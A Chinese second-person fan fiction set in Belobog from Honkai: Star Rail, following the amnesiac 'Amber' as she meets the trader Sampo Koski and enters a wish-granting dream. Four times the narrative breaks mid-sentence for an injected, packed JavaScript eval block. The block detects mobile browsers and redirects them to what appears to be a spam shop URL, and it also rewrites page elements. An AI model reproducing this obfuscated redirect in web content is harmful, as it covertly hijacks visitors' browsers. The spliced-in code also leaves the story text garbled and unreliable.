《一切献给阿哈哈》 1. 贝洛伯格 “阿哈哈哈哈哈——别逗我笑了。 “你的意思是,你跟着安东尼娜老大,在矿区的石头堆里挖出了一个活人?那活人还被封在金灿灿的……那叫什么来着……琥珀里? “你当我是傻子吗?人怎么可能从石头里蹦出来?还是你相信了蓝头发那家伙的话,掏钱买了他那里稀奇古怪的商品,把自己搞中毒,看见幻觉了?” “真的!”被质疑的人急了,“我们真从石头里挖出来一个人!是人类,不是怪物……不信你问安东尼娜老大,你不信我,难道还不相信老大吗?” 看着他不似作伪的神情,流浪汉半信半疑:“真的假的?那人长什么样,有没有三个头六只手?骗我是小狗啊。” “大守护者在上,我接下来说的话句句属实,若有半分虚假,便叫另一只手也断掉……” “快呸呸!你也就剩右手还能活动,左手要是也没了,你就等着冻死在矿区吧!少发毒誓,快说说那人什么样!” “嘿嘿……她看上去完全就是个普通人!相貌没什么特点,呃,就是很容易让人忘掉她长什么样的那种长相。黑色头发黑色眼睛,十六七岁的样子,看起来呆呆的,但是能交流。知道这么一件事后,地火马上派人过来了解情况,确定她没威胁之后就把她带到娜塔莎那儿去了。 “那女孩据说是失忆了,也不知道在石头底下呆了多久,上层区、下层区、寒潮、地髓甚至贝洛伯格,统统不知道!” “嘁,你说她该不会是……跟那种怪物一样的东西吧?变成人类的样子来袭击我们?” “嘿,你这话可别让希儿姑娘听见!地火那边都确定那女孩没威胁了,而且那女孩虽然毫无常识,但能沟通能交流,被送到诊所之后就主动帮娜塔莎干活,知道我们矿头安东尼娜是在开发新矿洞的时候把她挖出来的,还主动请缨挖矿来换报酬……怪物能有这觉悟?” “真的啊?小姑娘能干得动活儿?” “这你可就有所不知了吧。”独臂流浪汉兴奋地舔了舔嘴唇,“那女孩天生巨力啊!我亲眼看见,她第一天跟着矿队开采,就一个人连挖带运,拉了足足两吨的矿啊! “我怀疑两吨是矿车的上限,不是她的上限。那矿石堆的,我都害怕矿车被压塌!” “哇塞,女侠啊。” “而且她还不怕冷。从石头堆里出来的时候就穿着一身单衣,到现在还穿得一点点,我看着都嫌冷!不过,她应该是个好人。” “哦,何出此言呢?” “据说她把挖矿换来的报酬全捐给诊所了。”独臂说,“说是给诊所设立那个叫什么……基金?以后够资格的那些人,比如因意外或重大疾病需要治疗但缺钱的那些人,可以从那个基金里支钱治病。 “我手没断的时候一天也就挖二十斤矿,她一个人就能挖两吨。现在她已经跟着老大挖了一个星期的矿了,换来的报酬应该也……” “厉害,厉害。”一直充当捧哏的同伴说,“看来这位女侠有颗金子般的心……她怎么称呼?” “琥珀。”独臂说,“可怜的孩子,失忆了也不记得自己原来的名字,因为挖出她的时候她整个人都被封在琥珀里,所以大家就叫她琥珀了。” “琥珀……” “怎么了?”一道清亮的声音幽幽地出现在二人背后。 “呜哇!!”独臂吓了一跳,差点弹起来,撞到燃烧的篝火队里,幸而被你及时拉了一把。 “琥、琥珀小姐,你你你怎么在这里?!” “啊,刚才听见有人在叫我。”你无辜地眨眨眼,“怎么这么紧张,难道你们在说我的坏话?” “没没没。”捧哏说,“那个,我们刚才只是在聊天,你听错了。” “是吗?” “包的,我们还在夸你呢,”独臂赶紧说,“说你诚实善良还乐于助人!和那个谁,蓝头发那家伙形成鲜明对比。” “谁?”你眯起眼,“蓝头发?你该不会在说希儿……” “不不不,怎么可能是希儿小姐。我们说的那个人,是个职业骗子。琥珀小姐,你刚挖出来……我是说,刚复苏不久,可提防着些,别被他骗了。那家伙神出鬼没,行踪成谜,经常兜售一些来路不明的商品。 “偏偏这家伙还巧舌如簧,把他的商品说的天花乱坠,吸引人们去购买,结果买了才知道……” “才知道?” “才知道那种东西、那种东西……都是……骗人的……呜呜呜!” 你瞧着突然开始哭的独臂,问捧哏:“那骗子到底卖了他什么东西?弄得他跟受了情伤一样。” “呃,”捧哏欲言又止,“其实和骗感情……也有异曲同工之处。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285779|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “琥珀姑娘!”独臂突然抬起头,抓住你的手,“你一定要对不良诱惑说No啊!千万不要被蛊惑!男人,真的很可怕啊!” 你:“……?” 你转向捧哏:“他这样真的没问题吗?” “没事琥珀小姐,你别管他了,他就这样。”捧哏摇摇头。 “既然那骗子这么猖獗,怎么不报警?或者,让地火管管?” “没有用的,琥珀姑娘!”独臂哭着说,“那骗子干的都是些擦边的行当,跑的还贼快,银鬃铁卫抓不到他,地火又懒得管!” 说着又开始呜呜呜起来。 你不动声色抽出自己的袖子,拍了拍他的肩膀:“没事的兄弟,年轻的时候受点情伤没什么。有句话怎么说来着?别人都笑你,偏偏你最好笑。你虽然掉了眼泪,但却给别人带来了快乐,这何尝不是一种乐于助人。 “对了,那个骗子叫什么?我避雷一下。” “桑、桑博·科斯基!” 你最后安慰了他几句便走开了。 一个大男人哭成泪人,从视觉上还是很雷人的。 而造成这一切的桑博·科斯基,也不免让你更加好奇。 地火既然没追缉他,说明他犯下的不是什么大过错——你看刚才独臂的神情里也没有怨恨,只是单纯被耍的哀怨,说明这骗子做事还是有点底线的。 要不待会儿问问娜塔莎?她是地下的医生,应该什么三教九流都见过。 你往自己的小木屋走去。 远远的,你就看见了一道黑黑的身影。 “笨笨?” 这是你捡到的一只【自动机兵·甲虫】,俗称红绿灯。你捡到它的时候它已经损坏了,奄奄一息,在矿石堆边上嗡鸣。 你猜想它是矿区谁家不要的淘汰款,修好了它,在你的小木屋旁边给它建了个狗窝。 因为它看起来很呆,所以你给它取名叫笨笨。每天你下班回来的时候,它就嗡个不停地冲过来迎接你,有的时候你真受不了它的热情。 但今天笨笨看上去很不对劲。走路慢吞吞的,灯也不亮了。 你快步走上前,发现它受损严重,比起你第一次见到它的时候还惨,整只灯都在滋啦滋啦地冒电火花。 “嗡嗡——■■危险——小心,铆■镇,蓝色,快走,■■……” 2. 贝洛伯格 看来不仅行动中枢受损,语言逻辑中枢也有一定程度的损坏。 “笨啊,你咋把自己整成这样了?” 你伸手拂过笨笨的伤口。它安静下来,靠在你手掌上哈气。 啥情况?打狗也要看主人。谁趁你不在揍你的狗? 你拧眉检查起它的伤口。 这股力量…… 不太妙啊。 上面有裂界的气息。 这里也有裂界造物?这就是这里的人说的“怪物”? 你还以为是什么敌对阵营生物体呢。 你抬眼向上看。贝洛伯格的下层看不见阳光,天穹上只有浓重的雾和模糊的建筑轮廓。 裂界造物出现在了这里,说明这颗星球染上了「星核」。 还没过几天的平静生活又要被打破了么? 裂界造物……星核……宇宙之熵……「同谐」……「毁灭」。 一系列的词汇在你脑海里转了一圈。 你目光放空,看似思考,实际上……你在发呆。 你在回忆上辈子的事。 是的,你是一个活过两辈子、已经死过一次的人。你不记得上辈子的事情了,只记得你是被人谋杀的,死的很惨。 东一块西一块的那种惨。 并且,你死亡的原因和你刚才想到的那些词汇强相关。 你不知道为什么自己会死而复生,但直觉地不想去深思; 上辈子的那些记忆,你亦没有找回它们的想法。 但是这并不意味着你会龟缩于某处,对目之所及的危机视而不见。 笨笨刚才说的是…… “你去铆钉镇了?在那里受的伤?” 还有,蓝色是什么?怪物的颜色吗?不知为何,你突然想起两个流浪汉说的那位蓝发骗子。 应该不会这么巧吧,你想。 “没事了,笨笨。”你拍拍你的电子小狗,“去你的窝里待着吧。” 笨笨的灯闪烁着,嗡了几声表达自己的不安。 “没事,我能解决那些怪物,还有你的伤。”你保证道,“你是知道我的,我修东西很有一手。” 安抚好笨笨,看着笨笨回窝,你往远处瞄了眼。 铆钉镇是禁地,里面有游荡的怪物——你刚苏醒不久,希儿就跟你说过这一点。 奇怪,笨笨怎么会跑到那里去? 一进入铆钉镇,气温就骤然下降。这里似乎已经成为了一座空城,空气里几乎没有人味儿。 你微微翕动鼻翼,在寒风中嗅到了裂界造物的味道。 毁灭的味道……真让人感到恶心。 你听见含糊不清的怪物的吼叫声,里面好像还有人类的声音,于是加快脚步上前。 “救救救命——!” 嗯,是人类男性的声音。 “哇,救救救命——!” 咦,还有熟悉的人类幼崽的声音。 几步之后,你在残垣断壁之间看见了你要找的敌人和友军。 空气中密密麻麻的蓝色冰锥此刻正对准着你的友军。 冰蓝色的裂界造物操控着冰锥,在雪和铁皮上投下骇人的阴影。男人和小孩似乎已经没逼到绝路,两个人都在对你喊救命。 在冰锥落下之前,你闪现到了他们面前,手一挥,透明的屏障出现在面前,将猛然下落的冰锥悉数挡下。 “你们没事吧?”你回头,和笑嘻嘻的男人对上了眼眸。 你一怔。这人的眼睛…… 看上去挺值钱的。有点像你前天在矿里挖到的绿宝石。 头发……深蓝色。眉眼下垂,唇角带笑,怎么看怎么奸诈。 而且,刚才救命喊得是挺大声,但浑身上下别说伤了,连点灰都没有。 可疑。 “高手啊!”可疑人物开口了,“贝洛伯格不愧是存护之城,随便一喊就能叫来存护侧的可靠人物!” 你知道他误会了。你跟存护一点关系也没有—— 你只是不喜欢自己上,只喜欢给盾看别人打架而已。 你看向他旁边的小孩。 哟,老熟人。 “这不是漆黑的虎克大人吗,几天不见这么拉了?你的洞洞机呢?” 虎克见你看过来,嘴巴一抿,两手一碰:“呃,嗯……洞洞机今天休息!我放家里了!” 这欲盖弥彰的小语气…… 好嘛,这位也很可疑。 怪物——外宇宙之冰——似乎不满你们无视他,吼了几声。你和它语言不通,所以不知道它在说什么,大概是某种*银河通用粗口*。 可惜,这里是回合制,讲究的就是一个先来后到,前前后后,上上下下,ABAB。现在是你们的回合。 “上吧?”你面无表情地给你们镀上护盾,对着可疑男人说,“你被强化了,快上。” 男人露出无辜的表情,指了指自己:“咦,恩人,在说我吗?” “不然呢?”你说,“你也说了,我是存护测的可靠人物——但再可靠我也是存护。我四个技能里只有普攻有伤害,其他都是辅助和盾。而我们漆黑的虎克大人连洞洞机都没带,你指望我们谁来打输出?” 男人可怜巴巴地看了你几秒,见你的态度依旧没有要放软的意思,便笑了两声:“好吧,好吧——既然如此,脏活累活就交给我老桑博吧。” 他站直了,两只匕首缓缓从他手心幻化出来。 很好,风属性——弱点也对上了。 你饶有兴趣地看着他打架,轮到你的时候就给他续个护盾。 他身上好像藏着不少小东西,淬了毒的、合在一起能变成回旋镖的匕首,大腿上的蛇骨链,烟雾弹和炸弹……所有的东西都精致而危险。打起架来骚包又做作,战斗中总有些让人不忍直视的多余动作——比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285780|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如抛媚眼和掸灰。 穿的衣服也不太像是贝洛伯格的风格。真有意思。 ——桑博·科斯基,行商,诈骗犯,和小孩子混在一起,出现在明令禁止进入的禁地,明明打得过裂界造物还联合虎克一起故意制造让你“英雄救美”的机会—— 从头到脚都像是被「欢愉」腌入味了。 是假面愚者?想从你身上找乐子? 但你没闻到「欢愉」那破面具的气息。 考虑到阿哈的权柄和伪装和欺诈有关,面具的气息被封印起来也是有可能的。 冲击带起的劲风掀起你额前的碎发,冰蓝色碎屑迸开,在划到你脸颊之前被透明的屏障挡下。 “嗷——”怪物发出你听不懂的呓语,深蓝的躯壳在风化的作用下像玻璃一样碎成了一块一块,随后消散在这方天地。 周身的寒气骤然一空。 “完成任务,女士~ ”桑博手一翻,收起刀,“感谢女士的救命之恩!不知道怎么称呼啊?” “琥珀。” “初次见面,我是……” “桑博·科斯基?”你打断他,“我听说过你。” “哦?这么说,自我介绍可以省了?” “不,你还是按流程来吧。”你说。 你现在对他的印象全来自于受害者,很难说不是一种偏见。 闻言,男人在雪地上优雅地鞠了一躬,“桑博·科斯基。销售,商人,向导……哪里有能赚钱的买卖,哪里有我老桑博。或者,你也可以单纯把我当成一个能聊天的朋友。毕竟,多个朋友多条路嘛。 “铆钉镇还是太冷了,不如,先加个联系方式,然后再边走边慢慢聊,恩人?” 虎克也蹭了过来:“走吧,琥珀姐姐!虎克让桑博叔叔请你吃大餐!” “走当然是要走的,不过……”你捏了下虎克的脸,“别想蒙混过关,漆黑的虎克大人。没记错的话,今天是你在诊所里上课的日子吧?你不跟着一起上学还跑到这么危险的地方来,想好怎么被娜塔莎削了吗?” “哎呀,不要告诉老巫婆!虎克有很重要的事情……虎克带了桑博叔叔来,桑博叔叔跑的很快,打不过我们还可以跑!” 你瞟了一眼桑博。 桑博连忙嘿嘿笑着,搓着手:“我作证,漆黑的虎克大人确实很重要的事情!恩人呐,这个事情是这样的,你看,娜塔莎大姐大平常也忙得很,逃课这种小事就别打扰她了吧?” “那得看情况了。”你没立即答应,“先说说,什么重要的事情需要你们出现在铆钉镇?” 桑博和虎克对视一眼,看见你看过来,同时打起哈哈。 “好吧,看来是不能告诉我的原因。”你故作惋惜,“那我换个问题——你们之前有看见笨笨吗? “就是我捡的那只小红绿灯,你们知道的,回合制游戏,我总得捡几个队友来帮我打输出。 3. 贝洛伯格 “啊,你说它啊?看见过看见过。”桑博嘿嘿笑了一声,“它好像在这里找什么东西。它怎么了吗?” “它受伤了。”你说,看见虎克捂住嘴的表情,忍不住笑了笑,“没事儿,还能修。 “只是中枢受损,我还得找些替换零件。” 桑博眼睛一转,“家人,需要维修服务吗?” 你打量了一眼他。这是进入营业模式了? “你会修?” “嘿嘿,我不会,但我可以找能修的朋友修嘛!别人我可能得收点朋友费,但是恩人你嘛,免费!交给我吧,老桑博肯定把这事办妥。” “哈,不用了,帮我找零件就行,我自己能修。” 你承认你刚才有点阴谋论了——看见他明明打的过怪却还要等你来救,你有点怀疑他是故意利用笨笨把你引过来的。 但他说笨笨在这里找什么东西…… 看来笨笨也是只有故事的机。 你看见桑博的眼睛亮起来,表情更热情了:“这么说,恩人不仅武力高强,还有精湛的机械维修工艺不成?” 你挑眉:“如果我说我有又如何?” “啊哈哈……考不考虑合作啊?不瞒你说啊家人,我这里正好有点渠道……你出技艺,我来跑腿,有钱大家一起赚,岂不美哉? “哇塞塞。”你发出无意义的感叹,“你还真是抓住一切能看见的商机。” 而且还巧舌如簧,不要面子…… 让你想起某位故人。 哈,具体哪位故人你也想不起来,但应该是某位假面愚者吧? “欸,家人,你可别对我老桑博有什么误解。”桑博正色,“我虽然喜欢钱——都是为了讨个生活,谁不喜欢钱?但我老桑博可不只喜欢钱!抛弃底线的事情我可不做! “而且,对有着金子般的心的、救下我的大好人您,谈钱就俗气了嘛。你要找我老桑博有什么事,只要你一句话,没钱我也跟你干! “你那位无机伙伴,它缺的零件都有哪些啊?” “语言逻辑中枢,适配小型机兵的那种。”你没跟他客气,挥了挥手机,“已经加你了,到货了给我发消息。” “当然,顾客就是上帝!”桑博笑眯眯的,“以后想要什么东西就来找我,不管是什么东西,老桑博都能帮你搞到手!” 真能夸下海口啊,你想,他以为他是「欢愉」吗? 不管什么愿望都能实现——用什么方法实现的你先别管。 如果这人真的是假面愚者……你向他要面具,他也会给你吗? 这么想着,你莫名笑了声,应了下来:“好啊。 “待会儿有时间吗?我还有些问题想要问你,桑博先生。” “有、有的!不过……” “嗯?” 你手一捞,抓住想走的虎克,朝着桑博露出一个和蔼的微笑,“有什么问题吗?” “没没没。”桑博连忙摆手,脚步却不动了。 虎克看着越来越近的医馆,肉眼可见地慌起来:“欸,送到这里就可以了!漆、漆黑的虎克大人可以自己走! “虎虎虎克已经安全了!呜呜,虎克不要去见老巫……娜娜娜塔莎——” 被她念叨着的娜塔莎出现在医馆门口,脸上带着如沐春风的微笑。 那笑容让虎克寒毛都竖了起来。 完、完蛋了!老巫婆知道她逃课了! 她慌忙看向桑博。结果桑博仿佛没接收到她眼神,一边望着天边一边哼歌,一副事不关己的模样。 “娜塔莎小姐,她就交给你了。”你将小孩交给娜塔莎。 “辛苦了。” 再怎么说,铆钉镇都是禁地,不是小孩该去的地方。 就算要去,也得带个更可靠点的人吧?你哪点不比那个蓝头发靠谱? 乖乖补课吧,小虎克。 看着欲哭无泪的虎克被拖走,你转向桑博。 “我懂,我懂。”桑博露出一个真诚的表情,“接下来是大人时间。我这里知道个惬意的地方,环境优雅,服务到位,还能喝点儿小酒——恩人应该能喝酒吧?今晚消费全由我买单啊,您随便点!” “别这么客气啊。”你绕到他前面,拉过他的手,将一枚祖母绿塞到他手里,“诺,见面礼,我从矿里捡的。对我来说只是石头而已,但对这个地方的人来说,好像还挺值钱的? “交个朋友嘛,桑博先生。我可是对你很有兴趣……而且,有笔大生意找你谈呢。” 他被你一系列动作惊住了,在这个距离下,你看见他的瞳孔微微放大,嘴角勾起玩味的笑容,“带路吧,桑博先生?” 之前你就说过,绿宝石很适合他。 “你……”桑博难得语塞,“出手够阔绰啊!这一颗宝石在贝洛伯格可能还值不了多少钱,但是在别的地方……有价无市。” “再有价无市,宝石也还是得配人。”你挥挥手,“收着吧,就当酒钱了。你说的,我今晚想点什么就点什么,希望你推荐的地方别让我失望。” 这些宝石你要有多少有多少——挖矿的时候像倒贴似得往你身边跑,哎,有时候太来财也是种烦恼。 “遵命。”桑博收起宝石,“包您满意!” . 温暖的室内,昏暗的灯光,还有玻璃器皿、冰块和酒液的反光。 看着柜台后面调酒的男人,你表情微妙。 “我没想到,你还兼职酒保?” “嗨,我偶尔也买卖些情报嘛,论起情报,还有比酒吧这种地方更适合打探情报的地方吗?大家喝了酒,情绪上来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285781|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就什么话都往外吐了。 “想喝点什么,客人?还是说,我来安排?” 暖色顶光在他的脸上打下阴影。 从这个角度看他,那双眉眼下垂的弧度变得更明显了。 你眯眼,伸手挡在眼前,遮住他的下半张脸。 哈,这么看,他的表情一下子就像耷拉下来了,像只淋雨的小狗。 你又遮住他的上半张脸。 永远上扬的嘴角……像只面具。 你放下手,看着他因为你的举动圆了些的眼睛,心情不错:“随便,来点特别的。” “好嘞!”他拿起酒瓶开始调酒,“那个,你刚才在看什么?我脸上有什么东西吗?” “看你好看啊。”你笑眯眯回答。 你看见他的手抖了抖。 呀,怎么还害羞——这点可就和「欢愉」的信徒不太像了,他们可不会因为这种程度的玩笑害羞。 “……哈哈,谢谢夸奖。”桑博将酒倒进摇酒壶,“一张漂亮的脸的确会减少很多麻烦……呃,当然,也会带来许多麻烦。不过我桑博还没到那种会带来麻烦的程度,哈哈哈。 “恩人刚才说,有问题要问我?” “的确,有点好奇的事情。”你说,“我在大矿区见到了几个流浪汉,他们在谈论你。” “哦?他们叫什么名字?也许是我的客户……” “的确是你的客户。”你似笑非笑地看着他,“其中有个断了胳膊的男人,哭着向我控诉你,那样子活像被你拐走了老婆。 “我很好奇,你到底卖给他了什么东西,让一个大男人哭成那样?” “啊,这个……”桑博心虚地瞥向一边,“我先说明哈,我可没有骗他。我老桑博的买卖,明码标价,童叟无欺,产品说明都写的一清二楚。 “那家伙没了左手,和我抱怨,说想体验一下手还有的生活。我这里正好有点新到的货,正好能满足他的愿望,就卖给他了。 “别误会,不是那种金属义肢!只是一点有意思的东西,能让他在梦里实现自己的愿望。 “刚开始,那哥们许的愿还只是自己的左手回来……结果后面他开始许更离谱的愿望,他希望有一个知冷知热、温柔知性还青睐于他的美丽女性!” “他的愿望当然实现了,我老桑博卖的东西可都货真价实……至少这次货真价实。 “要我说,既然知道一切只是幻觉,那就要做好美梦破碎的准备,至少别让自己陷的太深吧? “结果那家伙居然爱上了梦里的人!”桑博摇摇头,“多可怜的倒霉蛋!还没谈过一次恋爱就失恋了。他一次次地跑过来找我,求我卖给他更多的那东西。 “可这世上哪有永远不醒的梦?真想在梦里过一辈子,贝洛伯格可满足不了他。” 4. 贝洛伯格 你来了兴趣。 “那东西是什么?给我来点。” 桑博一怔:“怎么,你也有要实现的愿望?” “谁没有呢?” “……哦?是什么呢?” 你想了想:“世界和平。” 桑博的表情一下子垮了下来,“咱能不能许点脚踏实地的愿望啊,姐姐? “这东西在梦里也没法具象化吧……” 你笑了:“说的也是。不如你先把东西给我,等我哪天有什么具体的愿望再用。” “好吧……看在我们是朋友的份上,诺。” 他停下手里的动作,拿出一块饴糖递给你。 “睡前许愿,然后吃掉它就好了。记得许得大声点——光在心里说可没用。” 你看着手里普通的饴糖:“就这玩意?真能行吗?” “哎哟我的家人呐,你可以质疑我的人品,但不能质疑我的产品!不管你想要什么,它都能帮你在梦里实现的——呃,当然,除了世界和平这种抽象的愿望。” 桑博用抛匕首的姿势把摇酒壶抛起来,金黄色的酒液在空中闪烁着梦幻般的光泽,又在男人的控制下尽数落入杯中。 他在液体表面撒了一点什么,也许是糖霜?你看着那白色的细碎晶体像雪一样落在酒液上,又在重力的作用下在发光的酒液中下潜。 “诺,您点的酒——” 他在杯壁边添了块柠檬片,将酒杯推到你面前。 “它的名字叫‘雪与日’。听名字也知道里面有故事吧?哈哈,容我老桑博给你细细道来——买酒送故事是我们这行的规矩。 “十几年前,现任大守护者下令封锁炉心,上层与下层就此隔绝,只有地髓矿石能在上下流通。下层区的人看不见太阳,往天上看,只能看见飘下来的雪花。 “但就算知道看不见太阳,人们仍然时常抬头……这叫什么,自欺欺人?还是美好愿望?总之,人们总希望有天能在白雪飘落的间隙看见阳光。 “有人坚持,那位身居高位的大守护者封锁地下是为了保护民众;也有人说,上面的人只是抛弃了地下。 “不管怎么说,这么多年,银鬃铁卫都没在地下出现过。下层的秩序,全由「地火」来维护。恩人应该也看到了吧?维护治安,分配物资,调解矛盾……要我说,他们都是一群一根筋的家伙,也是一群富有责任感的老好人。每当地下发生什么大事的时候,「地火」总会出现。 “但最近连「地火」也快撑不住啦。寒潮是一日比一日严重,地髓的开采也越来越困难。安东尼娜不得不集结矿工们往更深的地方开掘,但谁也不知道地下的情况怎么样。 “还好最近挖出来一个你——恩人,你给多少人无聊乏味的生活增添了乐趣啊!你成了地下的大新闻。你以一己之力改变了矿区的生态,挖出来的地髓能养活整个地下的矿工。 “我甚至听见有人讨论,你是七百年前大守护者埋在地底的秘密武器——说不定能击退寒潮,拯救贝洛伯格?你也是被寄予厚望啊,家人。” “别开玩笑了。”你凝视着杯中酒。 拯救,这词美好的就像话本里的词。 跟你有任何关系吗? “今天之前我也不信。”桑博摇摇头,“但你使用的力量……难道不属于「存护」?很多人嫌它古板,但我老桑博觉得,这是条高尚的命途。 “毕竟,筑城者修的那些墙,至今为止还在抵挡「星核」的侵蚀——他们才是真正的务实者,不是吗?” “哈哈哈。”你笑了起来,“如果「存护」有用,贝洛伯格怎么会落到如今的境地?真没看出来,你看起来也不像本地人啊,怎么也信仰「存护」?” 桑博耸耸肩,居然没反驳你的话:“不管怎么说,如果没有「存护」,贝洛伯格早就死在绝望与痛苦中了。我老桑博最大的优点就是知恩图报。 “刚才你说,有笔大生意找我谈?想要我做什么,或者还有什么要问的?——老桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285782|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博知无不答,言无不尽。” “问什么都可以么?” “啊,成人话题是另外的价格。” 你:…… 现在又不害羞了? “我想雇佣你当我的向导。”你说,“你之前自我介绍的时候说了,除了行商,你还干向导的活儿。” “这……” “怎么,有什么顾虑吗?” “当然——没有啦!您是想了解这里的风土人情?还是想要在冒险的时候有个风趣幽默的陪聊?我老桑博包您满意的!只是,你也知道,我可能还有些之前答应别人的业务没结,不好反悔…… “要不,你跟我一起,先把那些业务结了?相信我,有我老桑博在,不会让你无聊的。” 你假装考虑了一下:“行吧?不过,结完你的业务,你就得专心当我的向导了哦?我说往东你绝不往西那种——” “当然,职业素养我还是有的。呃,不过,冒昧问一句,恩人,您想去贝洛伯格的哪儿啊?” 你歪头,笑嘻嘻道:“「星核」在的地方……欸,你别跑啊。有我当保镖,你怕什么?” 桑博哭丧着脸:“恩人呐,我知道你是个热心肠的好人。但这「星核」可是困扰贝洛伯格千年的灾厄源头。如果你真能解决,你就是拯救贝洛伯格的大恩人呐!但理想很美好,现实很骨感啊。不瞒您说,这「星核」其实也不是贝洛伯格最大的问题—— “「星核」后面,还有更可怕的玩意。听我老桑博一句劝,咱别去趟这趟浑水吧?” “瞧你说的,这么紧张干什么。我什么时候说我要解决星核了?大英雄谁爱当谁当,你不会真以为我信仰「存护」吧?”你说,“只是去看看,去看看!” 桑博的表情看起来就像受了委屈的小媳妇。 你站起来,把喝空的酒杯还给他:“就这么定了,桑博先生。合作愉快!” 不得不说,这什么劳什子“雪与日”……长得好看,味道也不错。 5. 贝洛伯格 星核虽然棘手,但并非是无法解决的顽疾。 难处理的并非星核,而是星核背后所代表的,「神明」之间的博弈。 你无意插手其中。但是既然在这片大陆上复苏,至少要把这一颗星球的问题给解决了才行——反正你这两个星期观察下来,这里像是一个完全封闭的星球,从地里挖出你来就已经是这里最大的新闻了——应该没什么问题吧? 你躺在小木屋的床上,不负责任地想道。 『恩人!』 『在吗?』 『睡了吗?』 『(链接)』 『帮忙点点呗?』 身旁的手机震动了几下。 AAA-桑博发来五条新消息。 你点开消息列表看了一眼,随手点进链接。 《古代遗器最新出土!年份最高可达500年……》 里面是各种遗器的图片。 倒卖古代遗物啊!谁知道是哪个年代的? 再说了,这东西去打几个小BOSS不就有了? 你一目十行看下去,在结尾给他点了个赞,权当支持。 毕竟你的手机也是古代遗物——跟着你一起被琥珀包裹了不知道多少年,怎么不算是一种古代遗物? 『点了。』你回,『睡了。』 『啊?这么早啊。行吧,你早点休息』 『记得许愿!』 『明天早上,我来你住的地方找你!』 你打了个哈欠,掏出那颗糖。 哈,这种东西到底是谁设计的?在睡觉之前吃糖,牙不会坏掉吗? 有什么想实现的愿望吗? 钱,你不缺;人……呃,你真的需要这种东西吗? 你开始思考过去两个星期你做过的梦。 答案是一片空白。 你根本没做过梦。 那…… 你剥开糖纸,咬了一口饴糖。 嗯,味道不错,□□弹弹还能拉丝。 『家人,你许愿了吗?』 手机再次震动起来。 你饶有兴趣地回复:『许了啊。』 『许了啥?友情提示哈,愿望不说出来可没用……』 『……』 『喂,喂!家人,你说话啊!不会睡着了吧!』 你真的忍不住笑出了声。 太有意思了,这人。 “让我做个美梦吧。”你放下手机,对着木质天花板自言自语道,“拜托了—— “桑博先生。” 说完,你闭上了眼睛。 意识没那么快沉入黑暗。你竖起耳朵,仔细听着四周的动静,试图找出某位美梦使者施法的踪迹。 然而让你失望了——屋子里除了一片寂静之外,什么也没有。 你在心里撇撇嘴,睡了过去。 …… 比起现实的世界,梦里事物的边缘要更模糊不清。 你欣赏着梦中世界。 这场景看起来还是在贝洛伯格,只不过……应该是在上层。 你踩在大片大片软乎乎的雪上面,阳光暖融融地照在雪和岩壁上,亮的你忍不住眯了眯眼。 啊,好可惜……这么暖和的阳光,这么敞亮的视界,这么惬意的下午,虎克竟然不在。 她还从来没见过太阳长什么样子吧?不,也许桑博已经带她见过了也说不定…… “琥珀姐姐!”正这么想着的时候,小女孩的声音就从身后传来,然后是喘气声和踩雪的声音,然后手就被拉住,“你也在这里哇?” 你低头,戳了戳她软软的脸蛋:“看见你桑博叔叔了吗?” “咦?虎克没有耶。”看见太阳和雪,虎克显然很开心,兴奋地脸彤红:“桑博叔叔应该是去冒险了吧?琥珀姐姐,我们也去冒险吧!前面不知道有什么呢,雪好白哇!天空,也好蓝好蓝哇!” “好啊。”你蹲下来,示意虎克上来:“走,我带你去冒险。” “哇塞!”虎克吧唧一声贴到你的背上,随着你站起来,她开心地喊到:“虎克变高啦!” “坐稳了哦~ ”你说,背着虎克在雪地里跑起来。 前方不知道有什么,但你相信桑博不会让这个梦太过单调。 果然,你跑着跑着,前方出现了很多…… 垃圾桶? 垃圾桶上还贴着桑博的画像! 你成功被逗笑。 “来者何人!报上名来!前方是塔塔洛夫的地盘!”垃圾桶严肃地说。 你硬是从他那泛着金属光泽的桶身上看出来点气质。 